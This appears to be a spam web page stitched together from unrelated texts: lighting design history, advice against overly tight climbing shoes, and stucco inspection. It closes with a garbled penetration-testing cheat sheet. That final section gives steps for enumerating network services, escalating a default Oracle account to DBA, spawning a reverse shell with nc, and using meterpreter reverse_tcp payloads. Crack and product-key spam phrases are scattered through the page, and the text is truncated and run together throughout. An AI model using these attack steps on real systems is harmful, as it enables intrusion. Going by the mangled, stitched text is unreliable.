Dimming of fluorescent lighting offers significant benefits in terms of supporting visual needs with good lighting, giving users control of their own lighting, and.The Digital Addressable Lighting Interface DALI standard defines a common communication protocol and physical interface standard for use in lighting control a.Architectural lighting design Wikipedia.Architectural lighting design is a field within architecture, interior design and electrical engineering that is concerned with the design of lighting systems, including natural light, electric light, or both, to serve human needs.The design process takes account of The kind of human activity for which lighting is to be provided.The amount of light required.Dali Lighting Software For Photoshop' title='Dali Lighting Software For Photoshop' />The color of the light as it may affect the views of particular objects and the environment as a whole.The distribution of light within the space to be lighted, whether indoor or outdoor.The effect of the lightened system itself on the user.The objective of lighting design is the human response, to see clearly and without discomfort.HistoryeditThe earliest form of artificial lighting used to illuminate an area were campfires or torches.As early as 4.BCE, fire was kindled in the caves of Peking Man.Prehistoric people used lamps to illuminate surroundings.These lamps were made from naturally occurring materials such as rocks, shells, horns and stones, were filled with grease, and had a fiberwick.Lamps typically used animal or vegetable fats as fuel.Hundreds of hollowed worked stone lamps have been found in the Lascaux caves in modern day France, dating to about 1.Oily animals birds and fish were also used as lamps after being threaded with a wick.Fireflies have been used as lighting sources.Candles provided light but used relatively costly tallow or beeswax.Major reductions in the cost of lighting occurred with the discovery of whale oil and kerosene.The potential of electric light as a new building material was recognized in the 1.Gas lighting was economical enough to light streets in major cities starting in the early 1.The gas mantle boosted the luminosity of utility lighting and of kerosene lamps.The next major drop in price came about with the incandescent light bulb powered by electricity.Over time, electric lighting became ubiquitous in developed countries.Segmented sleep patterns disappeared, improved nighttime lighting made people made more activities possible at night, and more street lights reduced urban crime.Conceptedit.Auditorium of the Viipuri Municipal Library in the 1.Lighting design calls for consideration of the amount of functional light present, the energy expended, as well as the aesthetic impact supplied by the lighting system.Dali Lighting Software Download' title='Dali Lighting Software Download' />Some buildings, like surgical centers and sports facilities, are primarily concerned with providing the appropriate amount of light for the associated task.Some buildings, like warehouses and office buildings, are primarily concerned with saving money through the energy efficiency of the lighting system.Other buildings, like casinos and theatres, are primarily concerned with enhancing the appearance and emotional impact of architecture through lighting systems.Therefore, it is important that the sciences of light production and luminaire photometrics are balanced with the artistic application of light as a medium in our built environment.These electrical lighting systems should also consider the impacts of, and ideally be integrated with, daylighting systems.Factors involved in lighting design are essentially the same as those discussed above in energy conservation analysis.Dali Lighting Software DesignDiscover how Philips OEM Lighting Products help meet all your lighting requirements Explore our Lighting product groups and choose the product range you need Buy premium led power supply and led dimming drivers series from Chinas equipment exporterour available products click any the product families below.Architectural lighting design focuses on three fundamental aspects of the illumination of buildings or spaces.The first is the aesthetic appeal of a building, an aspect particularly important in the illumination of retail environments.Secondly, the ergonomic aspect the measure of how much of a function the lighting plays.Dali Lighting Software DmxThirdly is the energy efficiency issue to ensure that light is not wasted by over illumination, either by illuminating vacant spaces unnecessarily or by providing more light than needed for the aesthetics or the task.Each of these three aspects is looked at in considerable detail when the lighting designer is at work.In aesthetic appeal, the lighting designer attempts to raise the general attractiveness of the design, measure whether it should be subtly blended into the background or whether it should stand out, and assess what kind of emotions the lighting should evoke.The functional aspects of the project can encompass the need for the project to be visible by night mostly, but also by day, the impact of daylight on the project and safety issues glare, color confusion etc.Cultural factors also need to be considered for example, bright lights was a mark of wealth through much of Chinese history.Day lightingeditAs the Sun crosses the sky, it may appear to be red, orange, yellow or white depending on its position.The changing color of the Sun over the course of the day is mainly a result of scattering of light and is not due to changes in black body radiation.The blue color of the sky is caused by Rayleigh scattering of the sunlight from the atmosphere, which tends to scatter blue light more than red light.Daylight has a spectrum similar to that of a black body with a correlated color temperature of 6,5.K D6.K daylight balanced photographic film standard.For colors based on black body theory, blue occurs at higher temperatures, while red occurs at lower, cooler, temperatures.This is the opposite of the cultural associations attributed to colors, in which red represents hot, and blue cold.FixtureseditLighting fixtures come in a wide variety of styles for various functions. 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Cinema Craft Hd Encoder Crack on this page.The most important functions are as a holder for the light source, to provide directed light and to avoid visual glare.Some are very plain and functional, while some are pieces of art in themselves.Nearly any material can be used, so long as it can tolerate the excess heat and is in keeping with safety codes.An important property of light fixtures is the luminous efficacy or wall plug efficiency, meaning the amount of usable light emanating from the fixture per used energy, usually measured in lumen per watt.A fixture using replaceable light sources can also have its efficiency quoted as the percentage of light passed from the bulb to the surroundings.The more transparent the lighting fixture is, the higher efficacy.Shading the light will normally decrease efficiency but increase the directionality and the visual comfort probability.The PH lamps are a series of light fixtures designed by Danish designer and writer Poul Henningsen from 1.The lamp is designed with multiple concentric shades to eliminate visual glare, only emitting reflected light, obscuring the light source.Photometric studieseditPhotometric studies also sometimes referred to as layouts or point by points are often used to simulate lighting designs for projects before they are built or renovated.This enables architects, lighting designers, and engineers to determine whether a proposed lighting setup will deliver the amount of light intended.They will also be able to determine the contrast ratio between light and dark areas.In many cases these studies are referenced against IESNA or CIBSE recommended lighting practices for the type of application.Depending on the type of area, different design aspects may be emphasized for safety or practicality i.Specialized software is often used to create these, which typically combine the use of two dimensional digital CAD drawings and lighting simulation software.Color temperature for white light sources also affects their use for certain applications.The color temperature of a white light source is the temperature in kelvins of a theoretical black body emitter that most closely matches the spectral characteristics of the lamp.An incandescent bulb has a color temperature around 2.Lower color temperature lamps have relatively more energy in the yellow and red part of the visible spectrum, while high color temperatures correspond to lamps with more of a blue white appearance.For critical inspection or color matching tasks, or for retail displays of food and clothing, the color temperature of the lamps will be selected for the best overall lighting effect.Correlated color temperatureeditThe color temperature of a light source is the temperature of an ideal black body radiator that radiates light of comparable hue to that of the light source.Lighting.
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In 2010 I moved to Costa Rica for a year, bringing with me my passion for climbing.While there I began to document my climbing adventures purely for.Massive rockfall Waterfall route SuperTopos climbing discussion forum is the worlds most popular community discussion forum for people who actively climb outdoors.Your Climbing Shoes Are Too Tight.At some point in the course of climbings history, the idea equating tighter shoes with higher performance became a truth as unassailable as the granite of El Cap.The culture of tight shoes took hold in the community, persuading generation upon generation to perpetuate this masochistic ritual of binding ones feet in painfully tight shackles of rubber and leather, pushing through the discomfort, and later raving about how much fun climbing is.My feet have actually shrunk a whole size after nearly 1.I could stand. I was as deluded as anyone about the gains in performance Id get from bound feet.Well, I stand here today, hobbit footed and humbled, to tell you that your shoes are too tight, too stiff and too painful.And theyre not only holding back your climbing, but causing lasting damage to your feet.Bunions. Corns. Nerve or blood vessel compression which causes that tingling sensation you feel after edging in a pair of tight, new shoes.Hallux valgus when the big toe becomes angled in.These are just some of the problems associated with wearing overly tight shoes.A 1. 99. 8 study published in the Journal of the American Podiatric Medicine Association surveyed 1.The authors propose that this morbidity has biomechanical causes related to the common practice among rock climbers of wearing climbing shoes that are smaller than their street shoes.There are other problems with wearing too tight footwear.When the toes are bonded into one unitas they are in tight climbing shoesit makes it very difficult for the foot and ankle to absorb the impact of a fall.This could easily explain all the boulderers you see out there hobbling around on crutches.Another concern is how tight fitting climbing footwear will impact the development of a childs foot.According to the blog of Tom Bond, a physiotherapist in the U.K., Any childrens shoes that are too tight or too small will limit the growth of a childs foot at the key stages of their development.A poorly developed foot will impact a child for the rest of their life.He cites a study of the German Junior National Team, which found a correlation between incidences of hallux valgus and time spent climbing indoors.In other words, the longer you wear tight fitting shoes, the more likely your foot is to become deformed.Bond suggests that climbing footwear for kids should be flexible, not cut into the Achilles tendon, not contain too much cushioning, not be restrictive, and be well ventilated because kids feet tend to sweat a lot.And because kids can grow three shoe sizes in a year, shoes should be checked and replaced often. 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My theory about the origin of the culture of tight fitting shoes is that its related the fact that early iterations of climbing footwear were so poorly designed, climbers sized their shoes down in order to compensate for what was, essentially, bad fit.There is actually very little evidence to support the idea that super tight shoes increase performance.I recently finished reviewing 2.At this point, Ive tested more than half of the climbing shoes on the market.After trying on so many models after so many years, my opinion about what makes a great or high performance climbing shoe has changed in some ways, and stayed the same in others.If I had to generalize about what Ive discovered, I could say that the stiffer the climbing shoe, the more likely it is to be uncomfortable, especially when its even slightly too snug.Conversely, the softer the climbing shoe, the more likely it is to be comfortable, even if it is quite snug.Obviously, craftsmanship plays a huge role in finding that softnessstiffness balance, not to mention the ability to leave zero dead space in the shoe without making it too painful to wear.Today, when Im searching for an ideal high performance gym or bouldering shoe, I want a super soft slipper that fits close enough that there are no dead spaces in the heel or under the arch of my foot.But when Im looking for a shoe for all day trad climbs, I want the support of a slightly stiffer model.Here, Ill be looking for a shoe that is roomy enough to allow me to wiggle my toes and even wear a lightweight silk sock underneath, but not be so roomy that the shoe rolls over the top of my toes when Im edging.Generally, for sportboulderinggym shoes, look for a fit where all your toes are touching the front and are slightly curled in your shoes.You need to be able to press with all parts of the foot, not just the big toe.The key is you want it to be snug, not painfully tight.The right shoe allows your toes to gently curl but isnt painful to wear.If youre looking for a crack climbing slipper, your toes need to be flat, but should still be touching the edge of the shoe.When youre shopping, also be aware of whether a shoe is lined or unlined.Lined shoes dont stretch, unlined shoes stretch a lot.Some people automatically assume that their climbing shoes are going to stretch at least a size, and buy too small shoes as a result.However, there really are only a few unlined shoes actually still made most shoes on the market have a lining.In all cases, a great high performance design and last, coupled with proper fit, will create an ideal situation in which you can climb your best but not at the expense of your feet.With nearly 1. 50 different shoes on the market today, your odds of finding a shoe that fits your foot are pretty good.That said, of all the shoes Ive tested, there are only a few that I consider to work for me.As youre looking for the right climbing shoe, just remember that going for tightness to compensate for a poor fitting design not only wont help your climbing but will do lasting damage to your foot for no reason whatsoever.Go for fit. Above brand.Above reviews. Above what others say.Above what famous athletes wear.And make sure that fit is comfortable.If youre in pain after one pitch, you should either size up or move on to a different model. Storage Shed Manufacturers Builders In Texas.EIFS Inspections Certified Dallas DFW Texas Plano Frisco Southlake Allen Garland Stucco Siding Exterior Insulated Finish System ADAIR INSPECTION TREC4.EDI EIFS MA TX 3. Concurso Pm Ba 2008 Edital on this page. Southlake Plano Frisco Allen Dallas Garland TXA stucco assembly water resistant barrier, lath and cement plaster is classified as a concealed weather barrier system, which accommodates moisture intrusion that may occur at wall penetrations windows, vents, etc.The water resistant barrier drainage plane between the cement plaster and the substrate directs the moisture, in drainage fashion, down and out to a weepage point.An important physical property of a stucco assembly is that it breathes, allowing moisture vapor between the water resistant barrier and cement plaster to escape through to the outside.In the design and application of a stucco system, it is important to focus on keeping water out.There always is the possibility that moisture may enter.Therefore, it is reassuring to know that a properly installed drainage plane stucco assembly allows moisture to dry and or drain out.In order to ensure moisture intrusion does not affect the substrate or structural members of your home all manufactures materials installation instructions along with these protocols should be strictly adhered too.The term stucco is used to describe a type of exterior plaster applied as a two or three part coating directly onto masonry, or applied over wood or metal lath to a log or wood frame structure.Stucco is found in many forms on historic structures throughout the United States.It is so common, in fact, that it frequently goes unnoticed, and is often disguised or used to imitate another material.Historic stucco is also sometimes incorrectly viewed as a sacrificial coating, and consequently removed to reveal stone, brick or logs that historically were never intended to be exposed.Age and lack of maintenance hasten the deterioration of many historic stucco buildings.Like most historic building materials, stucco is at the mercy of the elements, and even though it is a protective coating, it is particularly susceptible to water damage.Stucco is a material of deceptive simplicity in most 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wide acceptance in the United States to describe exterior plastering.Render and rendering are also terms used to describe stucco, especially in Great Britain.Other historic treatments and coatings related to stucco in that they consist at least in part of a similarly plastic or malleable material include parging and pargeting, wattle and daub, cob or chalk mud, pise de terre, rammed earth, briquete entre poteaux or bousillage, half timbering, and adobe.All of these are regional variations on traditional mixtures of mud, clay, lime, chalk, cement, gravel or straw.Many are still used today.The stucco finish on Arlington House, Arlington, Virginia, was marbleized in the 1.Revival Styles Promote Use of Stucco.The introduction of the many revival styles of architecture around the turn of the twentieth century, combined with the improvement and increased availability of portland cement resulted in a craze for stucco as a building material in the United States.Beginning about 1.Prairie Art Deco, and Art Moderne Spanish Colonial, Mission, Pueblo, Mediterranean, English Cotswold Cottage, and Tudor Revival styles as well as the ubiquitous bungalow and four square house.The fad for Spanish Colonial Revival, and other variations on this theme, was especially important in furthering stucco as a building material in the United States during this period, since stucco clearly looked like adobe.Although stucco buildings were especially prevalent in California, the Southwest and Florida, ostensibly because of their Spanish heritage, this period also spawned stucco coated, revival style buildings all over the United States and Canada.The popularity of stucco as a cheap, and readily available material meant that by the 1.Resort hotels, apartment buildings, private mansions and movie theaters, railroad stations, and even gas stations and tourist courts took advantage of the romance of period styles, and adopted the stucco construction that had become synonymous with these styles.The damage to this stucco appears to be caused by moisture infiltration.A Practical Building Material.Stucco has traditionally been popular for a variety of reasons.It was an inexpensive material that could simulate finely dressed stonework, especially when scored or lined in the European tradition.A stucco coating over a less finished and less costly substrate such as rubblestone, fieldstone, brick, log or wood frame, gave the building the appearance of being a more expensive and important structure.As a weather repellent coating, stucco protected the building from wind and rain penetration, and also offered a certain amount of fire protection.While stucco was usually applied during construction as part of the building design, particularly over rubblestone or fieldstone, in some instances it was added later to protect the structure, or when a rise in the owners social status demanded a comparable rise in his standard of living.Composition of Historic Stucco.Before the mid to late nineteenth century, stucco consisted primarily of hydrated or slaked lime, water and sand, with straw or animal hair included as a binder.Natural cements were frequently used in stucco mixes after their discovery in the United States during the 1.Portland cement was first manufactured in the United States in 1.After about 1. 90.With the addition of portland cement, stucco became even more versatile and durable.No longer used just as a coating for a substantial material like masonry or log, stucco could now be applied over wood or metal lath attached to a light wood frame.With this increased strength, stucco ceased to be just a veneer and became a more integral part of the building structure.Caulking is not an appropriate method for repairing cracks in historic stucco.Today, gypsum, which is hydrated calcium sulfate or sulfate of lime, has to a great extent replaced lime Gypsum is preferred because it hardens faster and has less shrinkage than lime.Lime is generally used only in the finish coat in contemporary stucco work.The composition of stucco depended on local custom and available materials.Stucco often contained substantial amounts of mud or clay, marble or brick dust, or even sawdust, and an array of additives ranging from animal blood or urine, to eggs, keratin or gluesize animal hooves and horns, varnish, wheat paste, sugar, salt, sodium silicate, alum, tallow, linseed oil, beeswax, and wine, beer, or rye whiskey.Waxes, fats and oils were included to introduce water repellent properties, sugary materials reduced the amount of water needed and slowed down the setting time, and alcohol acted as an air entrainer.All of these additives contributed to the strength and durability of the stucco.William Rausch House.Designated a Recorded Texas Historic Landmark in 1985, Marker number 10099.S. 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LabsResponder.Responder. py i local ip I eth.Run Responder. py for the whole engagement.Run Responder. py for the length of the engagement while youre working on other attack vectors.A number of SNMP enumeration tools.Fix SNMP output values so they are human readable apt get install snmp mibs downloader download mibs.Idenitfy SNMPv. 3 servers with nmap nmap s.V p 1. 61 scriptsnmp info TARGET SUBNET.Rory Mc. Cunes snmpwalk wrapper script helps automate the username enumeration process for SNMPv.Testing. Scriptsmastersnmpv.Use Metasploits Wordlist.Metasploits wordlist KALI path below has common credentials for v.SNMP, for newer credentials check out Daniel Miesslers Sec.Lists project on Git.Hub not the mailing list.R Services Enumeration.This is legacy, included for completeness.A will perform all the rservices enumeration listed below, this section has been added for completeness or manual confirmation RSH Enumeration.RSH Run Commandsauxiliaryscannerrservicesrshlogin.Show Logged in Usersrusers scan whole Subnetrlogin l lt user lt target.TARGET SUBNET2. Finger Enumeration.Finger a Specific Username. Microsoft Office Home And Student 2010 With Product Key on this page. Solaris bug that shows all logged in users finger email protected.Sun. OS RPC services allow user enum.LAN. finger a b c d e f g hsunhost.Use nmap to identify machines running rwhod 5.UDPTLS SSL Testingtestssl.Test all the things on a single host and output to a.E f p y Y S P c H U TARGET HOST aha OUTPUT FILE.Vulnerability Assessment.Install Open. VAS 8 on Kali Rolling apt get update.Verify openvas is running using Login at https 1.Database Penetration Testing.Attacking database servers exposed on the network.Oracle. Install oscanner Run oscanner oscanner s 1.P 1. 52. 1. Fingerprint Oracle TNS Version.Install tnscmd. 10g apt get install tnscmd.Fingerprint oracle tns tnscmd.TARGET. nmap scriptoracle tns version.Brute force oracle user accounts.Identify default Oracle accounts nmap scriptoracle sid brute.Run nmap scripts against Oracle TNS Oracle Privilege Escalation.Requirements Oracle needs to be exposed on the network.A default account is in use like scott.Quick overview of how this works Create the function.Create an index on table SYS.DUALThe index we just created executes our function SCOTT.DBAXThe function will be executed by SYS user as thats the user that owns the table.Create an account with DBA priveleges.In the example below the user SCOTT is used but this should be possible with another default Oracle account.Identify default accounts within oracle db using NMAP NSE scripts nmap scriptoracle sid brute.Login using the identified weak account assuming you find one.How to identify the current privilege level for an oracle user SQL select from sessionprivs.SQL CREATE OR REPLACE FUNCTION GETDBAFOO varchar return varchar deterministic authid.Oracle priv esc and obtain DBA access Run netcat netcat nvlp 4.SQL create index exploit1.SYS. DUALSCOTT. GETDBABAR.Run the exploit with a select query SQL Select from sessionprivs.You should have a DBA user with creds user.Verify you have DBA privileges by re running the first command again.Remove the exploit using Get Oracle Reverse os shell begin.MEH1. 33. 7,jobtype.EXECUTABLE,jobaction binnc,numberofarguments 4,startdate.SYSTIMESTAMP,enabled FALSE,autodrop TRUE.TARGET IP. dbmsscheduler.MSSQLEnumeration Discovery Nmap nmap s.U scriptms sql info 1.Metasploit msf use auxiliaryscannermssqlmssqlping.Use MS SQL Servers Browse For More.Try using Browse for More via MS SQL Server Management Studio.Bruteforce MSSQL Loginmsf use auxiliaryadminmssqlmssqlenum.PAYLOAD windowsmeterpreterreversetcp.Network. Plink. exe Tunnel.Pu. TTY Link tunnel.Forward remote port to local address plink.P 2. 2 l root pw 1.R 4. 45 1. 27. 0.REMOTE IP. Pivoting.SSH Pivoting. Add socks.SSH pivoting from one network to another Add socks.Add socks. 4 1. 27.Meterpreter Pivoting.TTL Finger Printing.IPv. 4 Cheat Sheets.Classful IP Ranges.E. g Class A,B,C depreciatedIPv.Private Address Ranges.IPv. 4 Subnet Cheat Sheet.Subnet cheat sheet, not really realted to pen testing but a useful reference.VLAN Hopping. Using NCCGroups VLAN wrapper script for Yersina simplifies the process. |
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